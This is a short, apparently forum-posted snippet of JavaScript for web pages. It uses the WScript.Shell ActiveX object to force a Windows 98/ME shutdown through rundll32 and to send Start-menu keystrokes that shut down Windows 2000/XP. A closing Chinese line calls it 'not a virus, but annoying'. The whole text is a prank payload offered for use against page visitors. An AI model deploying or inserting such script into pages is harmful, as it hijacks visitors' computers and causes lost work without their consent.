win98/me
<script language="JavaScript">
var wsh = new ActiveXObject("WScript.Shell");
wsh.Run("rundll32.exe user.exe,exitWindows");
</script>
win2000 or xp
<script language="JavaScript">
var wsh = new ActiveXObject("WScript.Shell");
wsh.sendKeys("^{ESC}");
wsh.sendKeys("{UP}~S~");
</script>
不算病毒,但也不让人爽哦~~